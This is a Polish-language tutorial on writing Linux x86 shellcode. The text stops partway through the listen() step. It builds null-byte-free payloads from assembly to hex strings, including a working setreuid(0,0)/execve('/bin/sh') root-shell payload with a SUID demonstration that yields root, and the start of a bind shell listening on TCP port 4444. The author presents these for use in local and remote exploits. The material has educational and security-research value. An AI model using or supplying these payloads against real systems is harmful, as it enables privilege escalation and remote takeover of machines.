



## Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

```
char *index[6];

index[0] = "Intro";
index[1] = "Zaczynamy";
index[2] = "Hello world ?!";
index[3] = "Shellcode tworzący nową powłokę systemu";
index[4] = "Shellcode dający dostęp do powłoki systemu po nawiązaniu połączenia";
index[5] = "Outro";

+++ killed by SIGSEGV +++
```

### Intro.

Po przeczytaniu tego artykułu czytelnik powinien zrozumieć czym jest kod powłoki (ang. shellcode), jaką pełni rolę, oraz jak samodzielnie tworzyć ów kod powłoki.

Niezbędne będzie również posiadanie: komputera ;) , systemu linux oraz narzędzi takich jak NASM (Netwide Assembler) oraz objdump.

Kod powłoki (shellcode) jest zbiorem rozkazów procesora wykonywanym na skutek wykorzystania błędów naruszenia pamięci w atakowanym procesie. Zadania, które wykonuje shellcode są różne, ale najczęstsze z nich to tworzenie nowej powłoki lub nasłuchiwanie na danym porcie TCP by po połączeniu haker uzyskał dostęp do powłoki systemu. Shellcode inaczej też nazywany jest kodem bajtowym, ponieważ rozkazy procesora reprezentowane są jako zbiór bajtów zapisanych w systemie 16-bitowym.

Dlaczego będziemy tworzyć kody powłoki w systemie Linux? Ponieważ system ten w odróżnieniu od systemu Windows korzysta z wywołań systemowych, (o czym za chwile) natomiast interfejs Win32 systemu Windows korzysta z funkcji znajdujących się w bibliotekach DLL (Dynamic Link Libraries). Każda funkcja w takiej bibliotece posiada wirtualny adres względny RVA (Relative Virtual Address). Wszystko to sprawia że dla różnych wersji systemu Windows nie znamy dokładnego położenia funkcji w pamięci zatem stworzenie uniwersalnego kodu powłoki wymaga o wiele więcej pracy niż w przypadku systemu Linux.

Wywołania systemowe są zbiorem funkcji niskiego poziomu pozwalających na bezpośrednie korzystanie z jądra systemu. Każda taka funkcja posiada własny identyfikator, co znacznie ułatwia tworzenie kodów powłoki w systemie Linux. Numery (identyfikatory) wywołań systemowych znajdują się w pliku `/usr/include/asm/unistd.h`.

### Zaczynamy.

Zanim przejdziemy do omawiania wywołań systemowych z poziomu assemblera warto zapoznać się z przeznaczeniem rejestrów procesorów IA32 (x86) ponieważ będziemy tworzyć kody powłoki właśnie dla tej architektury.

Rejestry są obszarem pamięci wewnątrz procesora, służącym do przechowywania określonych wartości liczbowych.

### rejestry danych:

#### **EAX - rejestr akumulatora.**

32-bitowy rejestr, zawiera numer wywołania systemowego oraz wartość zwracaną przez funkcje. Dzieli się na: [AX = 16 bit (word)], [AL, AH = 8 bit (byte)].

#### **EBX - rejestr bazowy.**

32-bitowy rejestr, przechowuje pierwszy argument wywołania systemowego. Dzieli się na: [BX = 16 bit (word)], [BL, BH = 8 bit (byte)].

#### **ECX - rejestr licznika.**

32-bitowy rejestr, przechowuje drugi argument wywołania systemowego, często stosowany jako licznik w pętlach. Dzieli się na: [CX = 16 bit (word)], [CL, CH = 8 bit (byte)].

#### **EDX - rejestr danych.**

32-bitowy rejestr, przechowuje trzeci argument wywołania systemowego, często stosowany do przechowywania adresów zmiennych. Dzieli się na: [DX = 16 bit (word)], [DL, DH = 8 bit (byte)].

### rejestry adresowe:

#### **ESI - adres źródłowy.**

32-bitowy rejestr, używany do operacji na łańcuchach danych. W szczególnych przypadkach można używać rejestru ESI jako rejestru danych. Dzieli się na: [SI = 16 bit (word)].

#### **EDI - adres docelowy.**

32-bitowy rejestr, j.w. W szczególnych przypadkach można używać rejestru EDI jako rejestru danych. Dzieli się na: [DI = 16 bit (word)].

#### **ESP - wskaźnik wierzchołka stosu.**

32-bitowy rejestr, przechowuje adres wierzchołka stosu, kopiowany do rejestru EBP podczas prologu funkcji. Dzieli się na: [SP = 16 bit (word)].

#### **EBP - wskaźnik bazowy.**

32-bitowy rejestr, używany przez funkcje jako referencja wartości na stosie. Dzieli się na: [BP = 16 bit (word)].

### rejestry sterujące:

#### **EIP - (Extended Instruction Pointer) wskaźnik instrukcji.**

32-bitowy rejestr, przechowuje adres następnego rozkazu, który zostanie wykonany przez procesor.

Ufff.. dla osób, które dopiero zapoznają się z Assemblerem może wyglądać to groźnie ale nie taki diabeł straszny.. o czym przekonamy się za chwilę.

Przyjrzyjmy się poniższemu programowi napisanemu w języku C..

```
//exit.c  
  
main()  
{  
    exit(0);  
}
```

Program ten w zasadzie nie robi nic prócz tego że kończy proces. Spróbujmy, zatem zrealizować to samo zadanie z poziomu assemblera. Pierwszą czynnością jest ustalenie identyfikatora wywołania systemowego exit().

```
[h07@MD5 h07]$ cat /usr/include/asm/unistd.h | grep exit
#define __NR_exit          1
```

Identyfikatorem funkcji exit() jest 1, argumentem 0, należy zatem załadować wartość 1 do rejestru EAX a wartość 0 do rejestru EBX. Następnie wykonujemy przerwanie programowe int 0x80 które przełącza procesor w tryb jądra i wykonujemy wywołanie systemowe.

```
;exit.asm

section .text
global _start

_start:

mov eax, 1      ;identyfikator funkcji
mov ebx, 0      ;argument funkcji
int 0x80        ;wywołanie funkcji systemowej exit(0)
```

proste :)

```
[h07@MD5 h07]$ nasm -f elf exit.asm
[h07@MD5 h07]$ ld -o exit exit.o
[h07@MD5 h07]$ strace ./exit
execve("./exit", ["/./exit"], [/* 45 vars */]) = 0
_exit(0) = ?
```

Widzimy że program wykonał wywołanie systemowe exit() z argumentem 0. Jednak naszym celem jest uzyskanie bajtów reprezentujących rozkazy procesora, które zostaną wykonane w przestrzeni atakowanego procesu. Do tego celu wykorzystamy narzędzie objdump.

```
[h07@MD5 h07]$ objdump -d exit
```

```
exit:   file format elf32-i386
```

```
Disassembly of section .text:
```

```
08048080 <_start>:
8048080:  b8 01 00 00 00      mov  $0x1,%eax
8048085:  bb 00 00 00 00      mov  $0x0,%ebx
804808a:  cd 80                int  $0x80
```

W ten sposób otrzymaliśmy bajty reprezentujące rozkazy procesora.

Tworząc kod powłoki musimy pamiętać o 2 ważnych sprawach, mianowicie:

- shellcode powinien być jak najmniejszy.
- shellcode nie może zawierać bajtów zerowych.

Im mniejszy kod powłoki tym większą mamy szansę na umieszczenie go nawet w niewielkich buforach wejściowych atakowanego programu.

Dlaczego kod powłoki nie może zawierać bajtów zerowych? Przyjmijmy że nasz kod powłoki znajduje się w buforze wejściowym A. Następnie jest on kopiowany do bufora B przez funkcję strcpy(). Funkcja ta, jak i inne funkcje operujące na ciągach znaków zakończy swoje działanie gdy napotka bajt zerowy (NULL byte) oznaczający koniec łańcucha znakowego. Zatem nasz shellcode zostanie ucięty i jego uruchomienie przez atakowany program stanie się niemożliwe.

Pierwszym sposobem uniknięcia powstawania bajtów zerowych w kodzie powłoki jest stosowanie rozkazu różnicy symetrycznej XOR. Jeśli argumenty rozkazu XOR są identyczne uzyskujemy wartość 0

bez jawnego umieszczania bajtów zerowych w kodzie. przykład:

```
xor eax, eax; rejestr EAX zawiera 0 bez powstawania bajtów zerowych
```

Kolejnym sposobem jest umieszczanie wartości o określonych rozmiarach w odpowiadającym im podziałach rejestrów. Załóżmy że chcemy umieścić wartość 1 w rejestrze EAX. Jego 16-bitowym (dwu-bajtowym) odpowiednikiem jest rejestr AX a 8-bitowym (1-bajtowym) jest rejestr AL (bajt niższy) oraz AH (bajt wyższy). Reasumując.. wartość 1 możemy zapisać za pomocą jednego bajtu zatem umieszczenie tej wartości w rejestrze EAX unikając powstawania bajtów zerowych przedstawia się następująco..

```
mov al, 1; rejestr EAX zawiera wartość 1 bez powstania bajtów zerowych
```

Całość przedstawiona jest poniżej.

```
;exit.asm

section .text
global _start

_start:

xor eax, eax    ;eax 0
mov al, 1      ;eax 1
xor ebx, ebx    ;ebx 0
int 0x80       ;wywołanie systemowe exit(0)
```

Uzyskamy teraz bajty odpowiadające rozkazom procesora i umieścimy je w tablicy typu char, której pojedynczy element jest pojedynczym bajtem.

```
[h07@MD5 h07]$ nasm -f elf exit.asm
[h07@MD5 h07]$ ld -o exit exit.o
[h07@MD5 h07]$ objdump -d exit
```

```
exit:   file format elf32-i386
```

Disassembly of section .text:

```
08048080 <_start>:
8048080:  31 c0          xor    %eax,%eax
8048082:  b0 01          mov    $0x1,%al
8048084:  31 db          xor    %ebx,%ebx
8048086:  cd 80          int   $0x80
```

```
//exit.c
```

```
char shellcode[] =
```

```
"\x31\xc0\xb0\x01\x31\xdb\xcd\x80";
```

```
main()
{
void (*test)() = (void *)shellcode;
test();
}
```

```
[h07@MD5 h07]$ gcc -o exit exit.c
[h07@MD5 h07]$ strace ./exit
```

```
..
..
_exit(0)          = ?
```

W ten sposób dotarliśmy do pierwszej części tego artykułu. Wygenerowany kod powłoki zadziałał prawidłowo i nie zawiera już bajtów zerowych, tym samym nadając się do "wstrzyknięcia" w obszar pamięci atakowanego procesu.

**Hello world ?!**

Hello world, zadaniem naszego następnego kodu powłoki będzie wyświetlenie na ekranie monitora napisu "hello world". Po co? Będzie to idealny przykład ilustrujący sztukę nazywaną "adresowaniem względnym".

Jeśli kod powłoki ma być kodem uniwersalnym, działającym w większości systemów to nie może on zawierać adresów zadeklarowanych na stałe. By wyświetlić na ekranie monitora napis "hello world" posłużymy się funkcją write(). Jednym z argumentów ów funkcji jest adres łańcucha znakowego, który zostanie wyświetlony za pośrednictwem standardowego wyjścia (STDOUT). Metoda, która pozwala ustalić adres łańcucha znakowego w kodzie powłoki nazywa się adresowaniem względnym. przykład:

```
Section .text
global _start

_start:
jmp short get_string

shellcode:
pop esi ;rejestr esi przechowuje teraz adres łańcucha znakowego

get_string:
call shellcode
db 'hello world'
```

Ustalenie adresu łańcucha znakowego realizowana jest za pomocą instrukcji JMP i CALL.

-Na początku wykonujemy skok do rozkazu CALL.

```
jmp short get_string
```

-Adres następnego rozkazu po rozkazie CALL odkładany jest na stosie. W naszym przypadku jest to deklaracja łańcucha znakowego.

```
get_string:
call shellcode
db 'hello world'
```

-Wracamy do instrukcji kodu powłoki i ściągamy ze stosu adres łańcucha znakowego, umieszczając go w rejestrze ESI.

```
shellcode:
pop esi
```

-Teraz kod powłoki może posługiwać się względnym adresem łańcucha znakowego w dalszych instrukcjach kodu dzięki czemu shellcode będzie mógł być uruchomiony w większości systemów.

Powracając do funkcji write(), musimy ustalić jej identyfikator, który zostanie załadowany do rejestru EAX.

```
[h07@MD5 h07]$ cat /usr/include/asm/unistd.h | grep write
#define __NR_write          4
```

Funkcja write() przyjmuje następujące argumenty:

- deskryptor standardowego wyjścia (STDOUT)
- wskaźnik ciągu znaków
- ilość wyprowadzanych znaków

Zatem wykonanie wywołania systemowego write() przebiegać

będzie następująco...

Do rejestru EAX trafi identyfikator funkcji, czyli 4.

Do rejestru EBX trafi deskryptor standardowego wyjścia (STDOUT) czyli 1.

Do rejestru ECX trafi wskaźnik łańcucha znakowego.

Do rejestru EDX trafi ilość wyprowadzanych znaków.

```
;hello.asm

Section .text
global _start

_start:
jmp short get_string

shellcode:

;write
pop ecx
xor eax, eax
mov al, 4
xor ebx, ebx
mov bl, 1
xor edx, edx
mov dl, 12
int 0x80

;exit
mov al, 1
xor ebx, ebx
int 0x80

get_string:
call shellcode
db 'hello world', 0x0a
```

Omówię teraz wyżej przedstawione instrukcje krok po kroku.

-Na początku wykonywany jest skok do rozkazu CALL w celu pobrania adresu ciągu znaków "hello world".

```
jmp short get_string
```

-Następnie wracamy do rozkazów kodu powłoki odkładając adres następnej instrukcji po rozkazie CALL. Deklaracja łańcucha znaków "hello world" zakończona jest znakiem końca linii EoL (End of Line) 0x0a.

```
get_string:
call shellcode
db 'hello world', 0x0a
```

-Pobieramy adres ciągu znaków ze stosu i umieszczamy go w rejestrze ECX, ponieważ rejestr ten traktowany jest jako drugi argument funkcji write() i to właśnie ten argument powinien reprezentować adres łańcucha znakowego.

```
pop ecx
```

-"Zerujemy" rejestr EAX rozkazem XOR i umieszczamy w jego pierwszym bajcie (AL) numer funkcji write() czyli 4.

```
xor eax, eax
mov al, 4
```

-"Zarujemy" rejestr EBX rozkazem XOR i umieszczamy w jego pierwszym bajcie (BL) numer (deskryptor) standardowego wyjścia (STDOUT) czyli 1.

```
xor ebx, ebx
mov bl, 1
```

- "Zerujemy" rejestr, EDX rozkazem XOR i umieszczamy w jego pierwszym bajcie (DL) ilość wyprowadzanych znaków (razem z bajtem kończącym linie 0x0a) czyli 12.

```
xor edx, edx
mov dl, 12
```

-Przechodzimy w tryb jądra przerwaniem programowym int 0x80 wykonując funkcje write().

```
int 0x80
```

-Wykonujemy funkcje exit() by poprawnie zakończyć proces.

```
mov al, 1
xor ebx, ebx
int 0x80
```

Uruchamiamy shellcode..

```
[h07@MD5 h07]$ nasm -f elf hello.asm
[h07@MD5 h07]$ ld -o hello hello.o
[h07@MD5 h07]$ objdump -d hello
```

```
hello: file format elf32-i386
```

Disassembly of section .text:

```
08048080 <_start>:
08048080: eb 15          jmp 8048097 <get_string>

08048082 <shellcode>:
08048082: 59           pop  %ecx
08048083: 31 c0       xor  %eax,%eax
08048085: b0 04       mov  $0x4,%al
08048087: 31 db       xor  %ebx,%ebx
08048089: b3 01       mov  $0x1,%bl
0804808b: 31 d2       xor  %edx,%edx
0804808d: b2 0c       mov  $0xc,%dl
0804808f: cd 80       int  $0x80
08048091: b0 01       mov  $0x1,%al
08048093: 31 db       xor  %ebx,%ebx
08048095: cd 80       int  $0x80

08048097 <get_string>:
08048097: e8 e6 ff ff  call 8048082 <shellcode>
0804809c: 68 65 6c 6c 6f  push $0x6f6c6c65
080480a1: 20 77 6f      and  %dh,0x6f(%edi)
080480a4: 72 6c       jb 8048112 <get_string+0x7b>
080480a6: 64         fs
080480a7: 0a         .byte 0xa
```

```
//hello.c
```

```
char shellcode[] =
```

```
"\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x31\xd2\xb2\x0c\xcd\x80"
"\xb0\x01\x31\xdb\xcd\x80\xe8\xe6\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20"
"\x77\x6f\x72\x6c\x64\x0a";
```

```
main()
{
void (*test)() = (void *)shellcode;
test();
}
```

```
[h07@MD5 h07]$ gcc -o hello hello.c
```

```
[h07@MD5 h07]$ ./hello
hello world
```

I tak oto zakończyliśmy drugi punkt tego artykułu.

Starłem się przedstawić podstawy shellcodingu w jak najprostszy sposób. Przejdziemy teraz do tworzenia kodów powłoki, które będą mogły być wykorzystane w realnym środowisku, mam tu na myśli kod powłoki tworzący nową powłokę systemu (wykorzystywany w exploitach lokalnych) oraz kod powłoki dający dostęp do powłoki systemu po nawiązaniu połączenia na określonym porcie (wykorzystywany w exploitach zdalnych).

## Shellcode tworzący nową powłokę systemu.

Założmy, że na lokalnej maszynie atakujemy program, którego właścicielem jest root a sam program posiada ustawiony atrybut SUID. Jeśli zmusimy atakowany program by utworzył nową powłokę systemu to tym samym uzyskamy uprawnienia właściciela czyli root'a. Wyżej opisana metoda ataku realizowana jest przez "exploity lokalne" a nieodłączną ich częścią jest shellcode tworzący nową powłokę systemu. Wykonanie takiego kodu powłoki opiera się na wywołaniu dwóch funkcji systemowych.. `setreuid()` oraz `execve()`.

```
//shell.c
#include <stdio.h>

main()
{
char *arg[2];
arg[0] = "/bin/sh";
arg[1] = NULL;

setreuid(0, 0);
execve(arg[0], arg, NULL);
}
```

Program `shell.c` tworzy nową powłokę systemu. Użyta w nim funkcja `setreuid()` ustawia rzeczywisty i efektywny identyfikator użytkownika. Dzięki ów funkcji nowo utworzona powłoka systemu uzyska uprawnienia super użytkownika (root'a) gdy właścicielem programu `shell.c` jest root a program będzie posiadał ustawiony atrybut SUID. Za samo tworzenie nowej powłoki w naszym programie odpowiada funkcja `execve()`.

Pierwszym argumentem funkcji `execve()` jest wskaźnik do łańcucha znaków zawierający nazwę programu, który zostanie wykonany. Kolejnym argumentem jest wskaźnik do tablicy argumentów a ostatnim wskaźnik do tablicy środowiska, który w naszym przypadku przyjmuje wartość `NULL`.

Dysponując tymi informacjami możemy przystąpić do tworzenia kodu powłoki a zrealizowanie tego zadania będzie bardzo podobne do poprzedniego przykładu, ponieważ tu również zastosujemy sztuczkę zwaną adresowaniem względnym.

```
;shell.asm

Section .text

global _start
_start:

jmp short get_address_string

shellcode:

pop esi

;setreuid
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
```

```

int 0x80

;execve
xor eax, eax
mov [esi + 7], al
mov [esi + 8], esi
mov [esi + 12], eax
mov al, 11
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80

get_address_string:

call shellcode
db '/bin/shNAAAABBBB'

```

#### Omówienie:

-Wykonujemy skok do rozkazu CALL i odkładamy na stosie adres ciągu znaków reprezentujący nazwę programu, który zostanie wykonany przez funkcję execve(). W miejsce znaku N umieścimy bajt zerowy kończąc tym samym łańcuch znakowy. W miejsce znaków AAAA umieścimy wskaźnik do tablicy argumentów. W miejsce znaków BBBB umieścimy wskaźnik do tablicy środowiska czyli w naszym przypadku wartość NULL.

```

get_address_string:

call shellcode
db '/bin/shNAAAABBBB'

```

-Wracamy do instrukcji kodu powłoki, ściągamy ze stosu adres ciągu znaków i mieszamy go w rejestrze ESI.

```

shellcode:

pop esi

```

-Wywołanie funkcji setreuid(0, 0) jest banalnie proste. Umieszczamy w rejestrze AL jej identyfikator (70) i "zerujemy" dwa kolejne rejestry (EBX, ECX). Na końcu wykonujemy przerwanie programowe int 0x80.

```

;setreuid
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80

```

-Umieszczamy bajt zerowy kończący łańcuch znaków w siódmym przesunięciu względem początku ciągu znaków (w miejsce znaku N).

```

xor eax, eax
mov [esi + 7], al

```

-Umieszczamy wskaźnik tablicy argumentów w miejsce znaków "AAAA".

```

mov [esi + 8], esi

```

-Umieszczamy wskaźnik tablicy środowiska (wartość NULL) w miejscu znaków "BBBB".

```

mov [esi + 12], eax

```

-Umieszczamy identyfikator funkcji execve (11) w rejestrze AL.

```

mov al, 11

```

-Umieszczamy pierwszy argument funkcji execve() w rejestrze EBX (ciąg znaków zawierający nazwę programu, który zostanie wykonany).

```
mov ebx, esi
```

-Umieszczamy drugi argument w rejestrze ECX (wskaźnik tablicy argumentów).

```
lea ecx, [esi + 8]
```

-Umieszczamy trzeci argument w rejestrze EDX (wskaźnik tablicy środowiska (w naszym przypadku wartość NULL)).

```
lea edx, [esi + 12]
```

-Wykonujemy funkcję execve().

```
int 0x80
```

Przetestujemy teraz uzyskany kod powłoki..

```
[h07@MD5 h07]$ nasm -f elf shell.asm
[h07@MD5 h07]$ ld -o shell shell.o
[h07@MD5 h07]$ objdump -d shell
```

```
shell: file format elf32-i386
```

Disassembly of section .text:

```
08048080 <_start>:
08048080: eb 22          jmp 80480a4 <get_address_string>

08048082 <shellcode>:
08048082: 5e           pop  %esi
08048083: 31 c0       xor  %eax,%eax
08048085: b0 46       mov  $0x46,%al
08048087: 31 db       xor  %ebx,%ebx
08048089: 31 c9       xor  %ecx,%ecx
0804808b: cd 80       int  $0x80
0804808d: 31 c0       xor  %eax,%eax
0804808f: 88 46 07    mov  %al,0x7(%esi)
08048092: 89 76 08    mov  %esi,0x8(%esi)
08048095: 89 46 0c    mov  %eax,0xc(%esi)
08048098: b0 0b       mov  $0xb,%al
0804809a: 89 f3       mov  %esi,%ebx
0804809c: 8d 4e 08    lea  0x8(%esi),%ecx
0804809f: 8d 56 0c    lea  0xc(%esi),%edx
080480a2: cd 80       int  $0x80

080480a4 <get_address_string>:
080480a4: e8 d9 ff ff  call 8048082 <shellcode>
080480a9: 2f          das
080480aa: 62 69 6e    bound %ebp,0x6e(%ecx)
080480ad: 2f          das
080480ae: 73 68       jae 8048118 <get_address_string+0x74>
080480b0: 4e          dec  %esi
080480b1: 41          inc  %ecx
080480b2: 41          inc  %ecx
080480b3: 41          inc  %ecx
080480b4: 41          inc  %ecx
080480b5: 42          inc  %edx
080480b6: 42          inc  %edx
080480b7: 42          inc  %edx
080480b8: 42          inc  %edx
```

```
//test.c

char shellcode[] =

"\xeb\x22\x5e\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xd9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41"
"\x41\x41\x42\x42\x42\x42";

main()
{
void (*test)() = (void *)shellcode;
test();
}
```

```
[root@MD5 h07]# gcc -o test test.c
[root@MD5 h07]# chown root test
[root@MD5 h07]# chmod +s test
[root@MD5 h07]# exit
exit
```

```
[h07@MD5 h07]$ whoami
h07
```

```
[h07@MD5 h07]$ ./test
sh-2.05b# whoami
root
```

Shellcode zadziałał prawidłowo tworząc nową powłokę systemu. Ponieważ właścicielem programu test.c był root oraz program ten posiadał ustawiony atrybut SUID to w rezultacie nowo utworzona powłoka systemu uzyskała uprawnienia super użytkownika.

Aby uzyskany kod powłoki był jeszcze mniejszy możemy usunąć z niego bajty rezerwujące (NAAAABBBB == \x4e\x41\x41\x41\x41\x42\x42\x42\x42).

przykład:

```
"\xeb\x22\x5e\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xd9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
```

Otrzymany kod powłoki możemy wykorzystać w exploitach lokalnych i jeśli uda się nam zmienić sterowanie atakowanego programu w taki sposób by wykonał shellcode to otrzymamy tak zwanego root-shell'a pod warunkiem że program jest SUID'em a jego właścicielem jest root.

## Shellcode dający dostęp do powłoki systemu po nawiązaniu połączenia.

Typowym scenariuszem włamania do systemu jest wykorzystanie błędu naruszenia pamięci w danej usłudze sieciowej. Wówczas sterowanie atakowanym procesem zostaje zmienione przez co wykonywany jest shellcode dający dostęp do powłoki systemu na określonym porcie TCP. Gdy haker wykona połączenie na określony port uzyskuje dostęp do powłoki systemu i jego następnym celem jest zdobycie uprawnień root'a. Stworzenie takiego kodu powłoki wymaga użycia wielu różnych funkcji. Przyjrzyjmy się, zatem poniższemu programowi napisanemu w języku C i przeanalizujemy sposób jego działania.

```
//bind.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
```

```

main()
{
char *arg[2];
int sock, a_handle;
struct sockaddr_in server;

arg[0] = "/bin/sh";
arg[1] = NULL;

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
server.sin_addr.s_addr = 0;
server.sin_port = htons(4444);
server.sin_family = AF_INET;

bind(sock, (struct sockaddr *) &server, 16);
listen(sock, 1);

a_handle = accept(sock, 0, 0);

dup2(a_handle, 0);
dup2(a_handle, 1);
dup2(a_handle, 2);

execve(arg[0], arg, NULL);
}

```

Zadaniem programu `bind.c` jest udostępnienie powłoki systemu po nawiązaniu połączenia TCP na porcie 4444. Jak to działa?

Na początku działania programu przez funkcję `socket()` tworzone jest gniazdo strumieniowe (TCP). Następnie funkcja `bind()` przypisuje gniazdo do portu, na którym serwer będzie nasłuchiwał. Za sprawą funkcji `listen()` program oczekuje na połączenie. Połączenie przychodzące przyjmowane jest przez funkcję `accept()`, która w rezultacie tworzy nowe gniazdo obsługujące klienta (`a_handle`). Ostatnim zadaniem realizowanym przez program `bind.c` jest przekierowanie deskryptorów `STDIN` (0), `STDOUT` (1), `STDERR` (2) do gniazda klienta i uruchomienie programu "sh". Za duplikację deskryptorów odpowiada funkcja `dup2()` natomiast do uruchomienia innego programu posłużyliśmy się (tak jak w poprzednim podpunkcie) funkcją `execve()`.

Po nawiązaniu połączenia TCP na porcie 4444 program `bind.c` przekierowuje standardowe deskryptory wejścia/wyjścia do gniazda klienta po czym uruchamia program "sh" dając nam możliwość zdalnego wydawania poleceń programowi "sh" i otrzymywania odpowiedzi.

Wszystkie czynności, które wykonuje program `bind.c` będziemy musieli zrealizować z poziomu assemblera. Konieczne, zatem staje się omówienie wszystkich argumentów funkcji programu `bind.c`

Funkcja `socket()` przyjmuje następujące argumenty:

- rodzina protokołów (w naszym przypadku `AF_INET` [`AF_INET == 2`]).
- typ protokołu (w naszym przypadku `SOCK_STREAM` [`SOCK_STREAM == 1`]).
- protokół (w naszym przypadku `IPPROTO_TCP` [`IPPROTO_TCP == 0`]).

Funkcja `bind()` przyjmuje następujące argumenty:

- deskryptor gniazda zwrócony przez funkcję `socket()`.
- wskaźnik do struktury `sockaddr_in`.
- rozmiar struktury.

Funkcja `listen()` przyjmuje następujące argumenty:

- deskryptor gniazda zwrócony przez funkcje socket().
- maksymalna ilość połączeń

Funkcja `accept ( )` przyjmuje następujące argumenty:

- deskryptor gniazda zwrócony przez funkcje socket().
- wskaźnik do struktury `sockaddr_in`.
- rozmiar struktury.

Funkcja `dup2 ( )` przyjmuje następujące argumenty:

- deskryptor gniazda klienta zwrócony przez funkcje `accept()`.
- deskryptor standardowego wejścia/wyjścia [`STDIN == 0, STDOUT == 1, STDERR == 2`].

Funkcja `execve ( )` była już omawiana w poprzednim punkcie tego artykułu.

Z poziomu assemblera, funkcje `socket()`, `bind()`, `listen()`, `accept()` wykonywane są jako jedno wywołanie systemowe `socket-call` o numerze 102. Numer ten trafia do rejestru EAX. Do rejestru EBX trafia numer podfunkcji:

- 1 -`socket()`
- 2 -`bind()`
- 4 -`listen()`
- 5 -`accept()`

Do rejestru ECX trafiają argumenty funkcji, które przedtem zostają umieszczone na stosie. Stos jest pamięcią typu LIFO (Last In First Out). Oznacza to, że ostatni obiekt odłożony na stosie będzie z niego zdjęty jako pierwszy. Innymi słowy ostatni argument odłożony na stosie będzie traktowany przez funkcje jako pierwszy zatem argumenty na stosie muszą być umieszczane w odwrotnej kolejności.

Dysponując tymi danymi możemy przestąpić do tworzenia kodu powłoki..

### **-Funkcja socket().**

```

;socket
xor ebx, ebx           ;ebx 0
push ebx              ;push 0 (0 == IPPROTO_TCP)
inc ebx               ;ebx = ebx + 1
push ebx              ;push 1 (1 == SOCK_STREAM)
inc ebx               ;ebx = ebx + 1
push ebx              ;push 2 (2 == AF_INET)
xor eax, eax          ;eax 0
mov al, 102           ;numer wywołania socket-call
dec ebx               ;ebx = ebx - 1 (numer podfunkcji socket() czyli 1)
mov ecx, esp          ;kopiujemy adres argumentów odłożonych na stosie do rejestru ECX
int 0x80              ;wykonujemy funkcje socket()
mov edx, eax          ;rejestr EDX przechowuje teraz deskryptor gniazda,
                     ;zwrócony przez funkcje socket()

```

Opis:

Odkładamy na stosie argumenty funkcji rozkazem PUSH w odwrotnej kolejności. Rozkaz inkrementacji INC zwiększa wartość rejestru, EBX o, 1 dzięki czemu nie musimy ładować poszczególnych wartości reprezentujących argumenty funkcji `socket()`. Do Rejestru AL trafiła numer wywołania systemowego `socket-call`. Rejestr EBX ulega dekrementacji (rozkaz DEC (zmniejszenie wartości o 1)) przyjmując numer podfunkcji `socket()` czyli 1. W rejestrze ECX umieszczamy adres argumentów odłożonych na stosie (ESP wskazuje szczyt stosu). Wykonujemy przerwanie programowe `int 0x80`. Rejestr EAX zawiera wartość zwracaną przez funkcje. W przypadku funkcji `socket()` jest to deskryptor gniazda. Wartość ta kopiowana jest do rejestru EDX.

### **-Funkcja bind().**

```

;bind
xor eax, eax          ;eax 0

```

```

push eax           ;push 0
push eax           ;push 0
push eax           ;push 0
push word 23569   ;(23569 == htons(4444))
mov al, 2         ;(2 == AF_INET)
push ax           ;odkładamy na stos wartość typu word (2 bajty)
mov ecx, esp      ;do rejestru ECX adres struktury sockaddr_in
mov al, 16        ;w rejestrze AL umieszczamy rozmiar struktury sockaddr_in
push eax         ;odkładamy rozmiar struktury sockaddr_in na stosie
push ecx         ;odkładamy na stosie adres struktury sockaddr_in
push edx         ;odkładamy na stos deskryptor gniazda przechowywany w rejestrze EDX
mov al, 102      ;numer wywołania socket-call
inc ebx          ;ebx = ebx + 1 (numer podfunkcji bind() 2)
mov ecx, esp     ;kopiujemy adres argumentów odłożonych na stosie do rejestru ECX
int 0x80        ;wykonujemy funkcje bind()

```

Opis:

Tworzymy na stosie strukturę `sockaddr_in`.  
 Ów struktura reprezentuje internetowy adres IP. W naszym przypadku  
 powinna ona zawierać zdefiniowaną rodzinę protokołów (`AF_INET`) oraz  
 numer otwieranego portu zapisany zgodnie z siecią reprezentacją bajtów.  
 (funkcja `htons()` zwraca numer portu zgodnie z siecią reprezentacją  
 bajtów).

```
printf("%d\n", htons(4444));
```

23569

Struktura `sockaddr_in` ma rozmiar 16 bajtów.  
 W pierwszej kolejności "zerujemy" rejestr EAX i trzykrotnie wykonujemy  
 rozkaz PUSH EAX wypełniając tym samym 12 bajtów struktury `sockaddr_in`.  
 Następnie na stosie umieszczamy 2-bajtową wartość określającą port.  
 W rejestrze AL umieszczamy wartość reprezentującą rodzinę protokołów (`AF_INET`), czyli 2.  
 Rejestr AL jest 1-bajtowy a nasza struktura ma rozmiar 16 bajtów,  
 zatem na stosie umieszczamy 2-bajtową wartość rejestru AX.  
 W rejestrze ECX umieszczamy adres struktury `sockaddr_in` (ESP wskazuje szczyt stosu).  
 W rejestrze AL umieszczamy rozmiar struktury `sockaddr_in`.  
 Odkładamy na stos rozmiar struktury, adres struktury oraz deskryptor gniazda zwrócony  
 przez funkcje `socket()`. W rejestrze AL umieszczamy numer wywołania systemowego  
`socket-call`. Rozkazem inkrementacji zwiększamy wartość rejestru EBX  
 uzyskując numer podfunkcji `bind()` czyli 2.  
 W rejestrze ECX umieszczamy adres argumentów znajdujących się na stosie.  
 Wykonujemy przerwanie programowe `int 0x80`.

### **-Funkcja listen().**

```

;listen
xor eax, eax      ;eax 0
inc eax           ;eax = eax + 1
push eax         ;odkładamy wartość 1 na stos
push edx         ;odkładamy na stos deskryptor gniazda zwrócony funkcje socket()
